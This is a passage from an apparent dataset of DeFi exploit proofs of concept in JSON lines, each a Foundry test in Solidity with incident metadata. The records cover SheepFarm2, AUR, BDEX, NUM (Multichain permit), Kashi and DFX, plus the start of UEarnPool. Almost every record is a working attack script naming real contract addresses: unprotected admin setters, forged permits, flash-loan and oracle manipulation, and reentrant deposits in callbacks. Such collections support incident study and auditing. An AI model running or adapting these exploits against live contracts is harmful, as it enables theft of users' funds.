function addGems() external payable;\n\n function upgradeVillage(\n uint256 farmId\n ) external;\n\n function sellVillage() external;\n\n function withdrawMoney(\n uint256 wool\n ) external;\n}\n\ncontract ContractTest is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 23_089_184);\n }\n\n function testExploit() public {\n uint256 beforeBalance = address(this).balance;\n\n for (uint256 i; i < 4; ++i) {\n new AttackContract{value: 5e14}();\n }\n\n uint256 afterBalance = address(this).balance;\n\n emit log_named_decimal_uint(\n \"SheepFarm exploiter profit after attack (in BNB):\", afterBalance - beforeBalance, 18\n );\n }\n\n receive() external payable {}\n}\n\ncontract AttackContract {\n ISheepFarm public constant Farm = ISheepFarm(0x4726010da871f4b57b5031E3EA48Bde961F122aA);\n address public constant neighbor = 0x14598f3a9f3042097486DC58C65780Daf3e3acFB;\n\n constructor() payable {\n for (uint256 i; i < 402; ++i) {\n Farm.register(neighbor);\n }\n\n Farm.addGems{value: 5e14}();\n\n for (uint256 i; i < 5; ++i) {\n Farm.upgradeVillage(i);\n }\n\n Farm.sellVillage();\n\n Farm.withdrawMoney(156_000);\n\n selfdestruct(payable(msg.sender));\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "SheepFarm2", "date": "2022-11", "file_name": "SheepFarm2_exp.sol", "attack_vector": null, "content_hash": "d52f738f6c3b78f4", "collected_at": "2026-01-07T10:59:16.535070", "_source": "postmortems", "chain": "bsc", "block_number": 23089184, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n uint256 beforeBalance = address(this).balance;\n\n for (uint256 i; i < 4; ++i) {\n new AttackContract{value: 5e14}();\n }\n\n uint256 afterBalance = address(this).balance;\n\n emit log_named_decimal_uint(\n \"SheepFarm exploiter profit after attack (in BNB):\", afterBalance - beforeBalance, 18\n );\n }\n\n receive() external payable {}\n}\n\ncontract AttackContract {\n ISheepFarm public constant Farm = ISheepFarm(0x4726010da871f4b57b5031E3EA48Bde961F122aA);\n address public constant neighbor = 0x14598f3a9f3042097486DC58C65780Daf3e3acFB;\n\n constructor() payable {\n for (uint256 i; i < 402; ++i) {\n Farm.register(neighbor);\n }\n\n Farm.addGems{value: 5e14}();\n\n for (uint256 i; i < 5; ++i) {\n Farm.upgradeVillage(i);\n }\n\n Farm.sellVillage();\n\n Farm.withdrawMoney(156_000);\n\n selfdestruct(payable(msg.sender));\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.94, "quality_estimate": "low", "title": "SheepFarm2 Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/AnciliaInc/status/1595142246570958848\n// @TX\n// https://phalcon.blocksec.com/tx/bsc/0xb3bc6ca257387eae1cea3b997eb489c1a9c208d09ec4d117198029277468e25d\n// https://phalcon.blocksec.com/tx/bsc/0x7f031e8543e75bd5c85168558be89d2e08b7c02a32d07d76517cdbb10e279782\ninterface IAurumNodePool {\n struct NodeEntity {\n uint256 nodeId;\n uint256 creationTime;\n uint256 lastClaimTime;\n }\n\n function createNode(\n uint256 count\n ) external;\n function changeNodePrice(\n uint256 newNodePrice\n ) external;\n function changeRewardPerNode(\n uint256 _rewardPerDay\n ) external;\n function claimNodeReward(\n uint256 _creationTime\n ) external;\n\n function getRewardAmountOf(address account, uint256 creationTime) external view returns (uint256);\n function getNodes(\n address account\n ) external view returns (NodeEntity[] memory nodes);\n}\n\ncontract ContractTest is Test {\n IERC20 AUR = IERC20(0x73A1163EA930A0a67dFEFB9C3713Ef0923755B78);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n\n IAurumNodePool AurumNodePool = IAurumNodePool(0x70678291bDDfd95498d1214BE368e19e882f7614);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 23_282_134);\n cheats.deal(address(this), 0.01 ether);\n }\n\n function testExploit() public {\n AUR.approve(address(AurumNodePool), type(uint256).max);\n AUR.approve(address(Router), type(uint256).max);\n\n emit log_named_decimal_uint(\"[Start] Attacker BNB balance before exploit\", address(this).balance, 18);\n\n BNBtoAUR(0.01 ether);\n\n AurumNodePool.changeNodePrice(1_000_000_000_000_000_000_000);\n AurumNodePool.createNode(1);\n\n IAurumNodePool.NodeEntity[] memory nodes = AurumNodePool.getNodes(address(this));\n\n cheats.roll(23_282_171);\n cheats.warp(1_669_141_486);\n\n AurumNodePool.changeRewardPerNode(434_159_898_144_856_792_986_061_626_032);\n\n emit log_named_uint(\n \"AurumNodePool Attacker reward:\", AurumNodePool.getRewardAmountOf(address(this), nodes[0].creationTime)\n );\n\n require(block.timestamp > nodes[0].lastClaimTime);\n\n AurumNodePool.claimNodeReward(nodes[0].creationTime);\n\n AURtoBNB();\n\n emit log_named_decimal_uint(\"[End] Attacker BNB balance after exploit\", address(this).balance, 18);\n }\n\n function BNBtoAUR(\n uint256 amount\n ) internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(AUR);\n Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(\n 0, path, address(this), block.timestamp + 60\n );\n }\n\n function AURtoBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(AUR);\n path[1] = address(WBNB);\n Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n AUR.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60\n );\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "AUR", "date": "2022-11", "file_name": "AUR_exp.sol", "attack_vector": null, "content_hash": "07f4e4e524f83680", "collected_at": "2026-01-07T10:59:16.535116", "_source": "postmortems", "chain": "unknown", "block_number": 23282134, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n AUR.approve(address(AurumNodePool), type(uint256).max);\n AUR.approve(address(Router), type(uint256).max);\n\n emit log_named_decimal_uint(\"[Start] Attacker BNB balance before exploit\", address(this).balance, 18);\n\n BNBtoAUR(0.01 ether);\n\n AurumNodePool.changeNodePrice(1_000_000_000_000_000_000_000);\n AurumNodePool.createNode(1);\n\n IAurumNodePool.NodeEntity[] memory nodes = AurumNodePool.getNodes(address(this));\n\n cheats.roll(23_282_171);\n cheats.warp(1_669_141_486);\n\n AurumNodePool.changeRewardPerNode(434_159_898_144_856_792_986_061_626_032);\n\n emit log_named_uint(\n \"AurumNodePool Attacker reward:\", AurumNodePool.getRewardAmountOf(address(this), nodes[0].creationTime)\n );\n\n require(block.timestamp > nodes[0].lastClaimTime);\n\n AurumNodePool.claimNodeReward(nodes[0].creationTime);\n\n AURtoBNB();\n\n emit log_named_decimal_uint(\"[End] Attacker BNB balance after exploit\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.7, "quality_estimate": "low", "title": "AUR Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1588579143830343683\n// TX\n// https://bscscan.com/tx/0xe7b7c974e51d8bca3617f927f86bf907a25991fe654f457991cbf656b190fe94\n\ninterface BvaultsStrategy {\n function convertDustToEarned() external;\n}\n\ninterface BPair {\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);\n}\n\ncontract ContractTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 BDEX = IERC20(0x7E0F01918D92b2750bbb18fcebeEDD5B94ebB867);\n BvaultsStrategy vaultsStrategy = BvaultsStrategy(0xB2B1DC3204ee8899d6575F419e72B53E370F6B20);\n BPair Pair = BPair(0x5587ba40B8B1cE090d1a61b293640a7D86Fc4c2D);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n // the ankr rpc maybe dont work , please use QuickNode\n cheats.createSelectFork(\"bsc\", 22_629_431);\n }\n\n function testExploit() public {\n address(WBNB).call{value: 34 ether}(\"\");\n uint256 amountin = WBNB.balanceOf(address(this));\n WBNB.transfer(address(Pair), amountin);\n (uint256 BDEXReserve, uint256 WBNBReserve,) = Pair.getReserves();\n uint256 amountout = (998 * amountin * BDEXReserve) / (1000 * WBNBReserve + 998 * amountin);\n Pair.swap(amountout, 0, address(this), \"\");\n vaultsStrategy.convertDustToEarned();\n uint256 amountBDEX = BDEX.balanceOf(address(this));\n BDEX.transfer(address(Pair), amountBDEX);\n (uint256 BDEXReserve1, uint256 WBNBReserve1,) = Pair.getReserves();\n uint256 amountWBNB = (998 * amountBDEX * WBNBReserve1) / (1000 * BDEXReserve1 + 998 * amountBDEX);\n Pair.swap(0, amountWBNB, address(this), \"\");\n address(WBNB).call(abi.encodeWithSignature(\"withdraw(uint256)\", 34 * 1e18));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "BDEX", "date": "2022-11", "file_name": "BDEX_exp.sol", "attack_vector": null, "content_hash": "f883b0810e32612c", "collected_at": "2026-01-07T10:59:16.535168", "_source": "postmortems", "chain": "bsc", "block_number": 22629431, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n address(WBNB).call{value: 34 ether}(\"\");\n uint256 amountin = WBNB.balanceOf(address(this));\n WBNB.transfer(address(Pair), amountin);\n (uint256 BDEXReserve, uint256 WBNBReserve,) = Pair.getReserves();\n uint256 amountout = (998 * amountin * BDEXReserve) / (1000 * WBNBReserve + 998 * amountin);\n Pair.swap(amountout, 0, address(this), \"\");\n vaultsStrategy.convertDustToEarned();\n uint256 amountBDEX = BDEX.balanceOf(address(this));\n BDEX.transfer(address(Pair), amountBDEX);\n (uint256 BDEXReserve1, uint256 WBNBReserve1,) = Pair.getReserves();\n uint256 amountWBNB = (998 * amountBDEX * WBNBReserve1) / (1000 * BDEXReserve1 + 998 * amountBDEX);\n Pair.swap(0, amountWBNB, address(this), \"\");\n address(WBNB).call(abi.encodeWithSignature(\"withdraw(uint256)\", 34 * 1e18));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.12, "quality_estimate": "low", "title": "BDEX Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1595346020237352960\n// @TX\n// https://etherscan.io/tx/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32\n\ninterface MultichainRouter {\n function anySwapOutUnderlyingWithPermit(\n address from,\n address token,\n address to,\n uint256 amount,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s,\n uint256 toChainID\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 NUM = IERC20(0x3496B523e5C00a4b4150D6721320CdDb234c3079);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n MultichainRouter multichainRouter = MultichainRouter(0x765277EebeCA2e31912C9946eAe1021199B39C61);\n Uni_Router_V3 Router = Uni_Router_V3(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45);\n address victimAddress = 0x78AC2624a2Cd193E8dEfE9F39A9528e8bd4a368c;\n uint256 NUMBalance;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 16_029_969);\n }\n\n function testExploit() external {\n NUMBalance = NUM.balanceOf(victimAddress);\n uint8 v = 0;\n bytes32 r = 0x3078000000000000000000000000000000000000000000000000000000000000;\n bytes32 s = 0x3078000000000000000000000000000000000000000000000000000000000000;\n multichainRouter.anySwapOutUnderlyingWithPermit(\n victimAddress, address(this), address(this), NUMBalance, block.timestamp + 60, v, r, s, 12\n );\n NUM.approve(address(Router), type(uint256).max);\n WETH.approve(address(Router), type(uint256).max);\n NUM.transfer(address(Router), NUM.balanceOf(address(this)));\n address[] memory path = new address[](2);\n path[0] = address(NUM);\n path[1] = address(USDC);\n Router.swapExactTokensForTokens(0, 0, path, address(this));\n\n emit log_named_decimal_uint(\"[End] Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), 6);\n }\n\n function underlying() external returns (address) {\n return address(NUM);\n }\n\n function depositVault(uint256 amount, address to) external returns (uint256) {\n return NUMBalance;\n }\n\n function burn(address from, uint256 amount) external returns (bool) {\n return true;\n }\n}\n", "type": "exploit_poc", "protocol": "NUM", "date": "2022-11", "file_name": "NUM_exp.sol", "attack_vector": null, "content_hash": "4a86d4cb2ff57c56", "collected_at": "2026-01-07T10:59:16.535214", "_source": "postmortems", "chain": "ethereum", "block_number": 16029969, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.27, "quality_estimate": "low", "title": "NUM Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://eigenphi.substack.com/p/casting-a-magic-spell-on-abracadabra\n// https://twitter.com/BlockSecTeam/status/1603633067876155393\n// @TX\n// https://etherscan.io/tx/0x3d163bfbec5686d428a6d43e45e2626a220cc4fcfac7620c620b82c1f2537c78\n\ninterface BentoBoxV1 {\n function batchFlashLoan(\n address borrower,\n address[] calldata receivers,\n address[] calldata tokens,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n\n function setMasterContractApproval(\n address user,\n address masterContract,\n bool approved,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function deposit(address token_, address from, address to, uint256 amount, uint256 share) external;\n\n function withdraw(address token_, address from, address to, uint256 amount, uint256 share) external;\n\n function balanceOf(address token, address account) external returns (uint256);\n}\n\ninterface CauldronMediumRiskV1 {\n function addCollateral(address to, bool skim, uint256 share) external;\n\n function borrow(address to, uint256 amount) external;\n\n function updateExchangeRate() external;\n\n function liquidate(\n address[] calldata users,\n uint256[] calldata maxBorrowParts,\n address to,\n address swapper\n ) external;\n}\n\ncontract ContractTest is Test {\n BentoBoxV1 BentBox = BentoBoxV1(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966);\n CauldronMediumRiskV1 Cauldron = CauldronMediumRiskV1(0xbb02A884621FB8F5BFd263A67F58B65df5b090f3);\n IERC20 xSUSHI = IERC20(0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272);\n IERC20 MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n ISushiSwap Router = ISushiSwap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);\n address masterContract = 0x4a9Cb5D0B755275Fd188f87c0A8DF531B0C7c7D2;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 15_928_289);\n }\n\n function testExploit() public {\n MIM.approve(address(Router), type(uint256).max);\n address[] memory receivers = new address[](2);\n receivers[0] = address(this);\n receivers[1] = address(this);\n address[] memory tokens = new address[](2);\n tokens[0] = address(xSUSHI);\n tokens[1] = address(MIM);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 450_000 * 1e18;\n amounts[1] = 0;\n BentBox.batchFlashLoan(address(this), receivers, tokens, amounts, new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker MIM balance after exploit\", MIM.balanceOf(address(this)), 18);\n }\n\n function onBatchFlashLoan(\n address sender,\n IERC20[] calldata tokens,\n uint256[] calldata amounts,\n uint256[] calldata fees,\n bytes calldata data\n ) external {\n BentBox.setMasterContractApproval(address(this), masterContract, true, uint8(0), bytes32(0), bytes32(0));\n xSUSHI.approve(address(BentBox), type(uint256).max);\n BentBox.deposit(address(xSUSHI), address(this), address(this), 0, 420_000 * 1e18);\n Cauldron.addCollateral(address(this), false, 420_000 * 1e18);\n Cauldron.borrow(address(this), 800_000 * 1e18);\n Cauldron.updateExchangeRate();\n address[] memory users = new address[](1);\n users[0] = address(this);\n uint256[] memory maxBorrowParts = new uint256[](1);\n maxBorrowParts[0] = 680_000 * 1e18;\n Cauldron.liquidate(users, maxBorrowParts, address(this), address(0));\n BentBox.withdraw(\n address(xSUSHI), address(this), address(this), 0, BentBox.balanceOf(address(xSUSHI), address(this))\n );\n BentBox.withdraw(address(MIM), address(this), address(this), 0, BentBox.balanceOf(address(MIM), address(this)));\n uint256 swapAmount = 450_000 * 1e18 * 10_005 / 10_000 - xSUSHI.balanceOf(address(this));\n address[] memory path = new address[](3);\n path[0] = address(MIM);\n path[1] = address(WETH);\n path[2] = address(xSUSHI);\n Router.swapTokensForExactTokens(swapAmount, type(uint256).max, path, address(this), block.timestamp);\n xSUSHI.transfer(address(BentBox), 450_225 * 1e18);\n }\n}\n", "type": "exploit_poc", "protocol": "Kashi", "date": "2022-11", "file_name": "Kashi_exp.sol", "attack_vector": "flash_loan", "content_hash": "b0759add92684886", "collected_at": "2026-01-07T10:59:16.535257", "_source": "postmortems", "chain": "ethereum", "block_number": 15928289, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n MIM.approve(address(Router), type(uint256).max);\n address[] memory receivers = new address[](2);\n receivers[0] = address(this);\n receivers[1] = address(this);\n address[] memory tokens = new address[](2);\n tokens[0] = address(xSUSHI);\n tokens[1] = address(MIM);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 450_000 * 1e18;\n amounts[1] = 0;\n BentBox.batchFlashLoan(address(this), receivers, tokens, amounts, new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker MIM balance after exploit\", MIM.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.25, "quality_estimate": "medium", "title": "Kashi Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1590960299246780417\n// https://twitter.com/BeosinAlert/status/1591012525914861570\n// https://twitter.com/AnciliaInc/status/1590839104731684865\n// https://twitter.com/peckshield/status/1590831589004816384\n// TX\n// https://etherscan.io/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7\n\ninterface Curve {\n function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\n function viewDeposit(\n uint256 _deposit\n ) external view returns (uint256, uint256[] memory);\n function deposit(uint256 _deposit, uint256 _deadline) external returns (uint256, uint256[] memory);\n function withdraw(uint256 _curvesToBurn, uint256 _deadline) external;\n}\n\ncontract ContractTest is Test {\n IERC20 XIDR = IERC20(0xebF2096E01455108bAdCbAF86cE30b6e5A72aa52);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n Uni_Router_V3 Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n Curve dfx = Curve(0x46161158b1947D9149E066d6d31AF1283b2d377C);\n uint256 receiption;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 15_941_703);\n }\n\n function testExploit() public {\n address(WETH).call{value: 2 ether}(\"\");\n WETH.approve(address(Router), type(uint256).max);\n USDC.approve(address(Router), type(uint256).max);\n USDC.approve(address(dfx), type(uint256).max);\n XIDR.approve(address(Router), type(uint256).max);\n XIDR.approve(address(dfx), type(uint256).max);\n\n WETHToUSDC();\n\n emit log_named_decimal_uint(\"[Before] Attacker USDC balance before exploit\", USDC.balanceOf(address(this)), 6);\n\n USDCToXIDR();\n uint256[] memory XIDR_USDC = new uint256[](2);\n XIDR_USDC[0] = 0;\n XIDR_USDC[1] = 0;\n (, XIDR_USDC) = dfx.viewDeposit(200_000 * 1e18);\n dfx.flash(address(this), XIDR_USDC[0] * 995 / 1000, XIDR_USDC[1] * 995 / 1000, new bytes(1)); // 5% fee\n dfx.withdraw(receiption, block.timestamp + 60);\n XIDRToUSDC();\n\n emit log_named_decimal_uint(\"[End] Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), 6);\n }\n\n function flashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n (receiption,) = dfx.deposit(200_000 * 1e18, block.timestamp + 60);\n }\n\n function WETHToUSDC() internal {\n Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(WETH),\n tokenOut: address(USDC),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: WETH.balanceOf(address(this)),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n Router.exactInputSingle(_Params);\n }\n\n function USDCToXIDR() internal {\n Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(USDC),\n tokenOut: address(XIDR),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: USDC.balanceOf(address(this)) / 2,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n Router.exactInputSingle(_Params);\n }\n\n function XIDRToUSDC() internal {\n Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(XIDR),\n tokenOut: address(USDC),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: XIDR.balanceOf(address(this)) / 2,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n Router.exactInputSingle(_Params);\n }\n}\n", "type": "exploit_poc", "protocol": "DFX", "date": "2022-11", "file_name": "DFX_exp.sol", "attack_vector": null, "content_hash": "c8b48e8dc5ce625b", "collected_at": "2026-01-07T10:59:16.535314", "_source": "postmortems", "chain": "ethereum", "block_number": 15941703, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n address(WETH).call{value: 2 ether}(\"\");\n WETH.approve(address(Router), type(uint256).max);\n USDC.approve(address(Router), type(uint256).max);\n USDC.approve(address(dfx), type(uint256).max);\n XIDR.approve(address(Router), type(uint256).max);\n XIDR.approve(address(dfx), type(uint256).max);\n\n WETHToUSDC();\n\n emit log_named_decimal_uint(\"[Before] Attacker USDC balance before exploit\", USDC.balanceOf(address(this)), 6);\n\n USDCToXIDR();\n uint256[] memory XIDR_USDC = new uint256[](2);\n XIDR_USDC[0] = 0;\n XIDR_USDC[1] = 0;\n (, XIDR_USDC) = dfx.viewDeposit(200_000 * 1e18);\n dfx.flash(address(this), XIDR_USDC[0] * 995 / 1000, XIDR_USDC[1] * 995 / 1000, new bytes(1)); // 5% fee\n dfx.withdraw(receiption, block.timestamp + 60);\n XIDRToUSDC();\n\n emit log_named_decimal_uint(\"[End] Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), 6);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.08, "quality_estimate": "low", "title": "DFX Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/CertiKAlert/status/1593094922160128000\n// @Tx\n// https://bscscan.com/tx/0xb83f9165952697f27b1c7f932bcece5dfa6f0d2f9f3c3be2bb325815bfd834ec\n// https://bscscan.com/tx/0x824de0989f2ce3230866cb61d588153e5312151aebb1e905ad775864885cd418\n// @Summary\n// The key is to obtain invitation rewards, create 22 contracts, bind each other, first stake a large amount of usdt, make teamamont reach the standard of _levelConfigs[3], stake in turn, and finally claim rewards\n// Reward Calculation: claimTeamReward() levelConfig\n// if (_userInfos[account].levelClaimed[i] == 0) {\n// if (i == 0) {\n// levelReward = levelConfig.teamAmount * levelConfig.rewardRate / _feeDivFactor;\n// } else {\n// levelReward = (levelConfig.teamAmount - _levelConfigs[i - 1].teamAmount) * levelConfig.rewardRate / _feeDivFactor;\n// }\n// pendingReward += levelReward;\n// _levelConfigs[0] = LevelConfig(100, 300000 * amountUnit, 3000 * amountUnit); rewardRate; teamAmount; amount;\n// _levelConfigs[1] = LevelConfig(300, 600000 * amountUnit, 7000 * amountUnit);\n// _levelConfigs[2] = LevelConfig(500, 1200000 * amountUnit, 10000 * amountUnit);\n// _levelConfigs[3] = LevelConfig(1000, 2400000 * amountUnit, 20000 * amountUnit);\n// _feeDivFactor = 10000\n// rewrad: 162_000 = 1_200_000 * 0.1 + 600_000 * 0.05 + 300_000 * 0.03 + 300_000 * 0.01\n\ninterface UEarnPool {\n function bindInvitor(\n address invitor\n ) external;\n function stake(uint256 pid, uint256 amount) external;\n function claimTeamReward(\n address account\n ) external;\n}\n\ncontract claimReward {\n UEarnPool Pool = UEarnPool(0x02D841B976298DCd37ed6cC59f75D9Dd39A3690c);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n\n function bind(\n address invitor\n ) external {\n Pool.bindInvitor(invitor);\n }\n\n function stakeAndClaimReward(\n uint256 amount\n ) external {\n USDT.approve(address(address(Pool)), type(uint256).max);\n Pool.stake(0, amount);\n Pool.claimTeamReward(address(this));\n }\n\n function withdraw(\n address receiver\n ) external {\n USDT.transfer(receiver, USDT.balanceOf(address(this)));\n }\n}\n\ncontract ContractTest is Test {\n UEarnPool Pool = 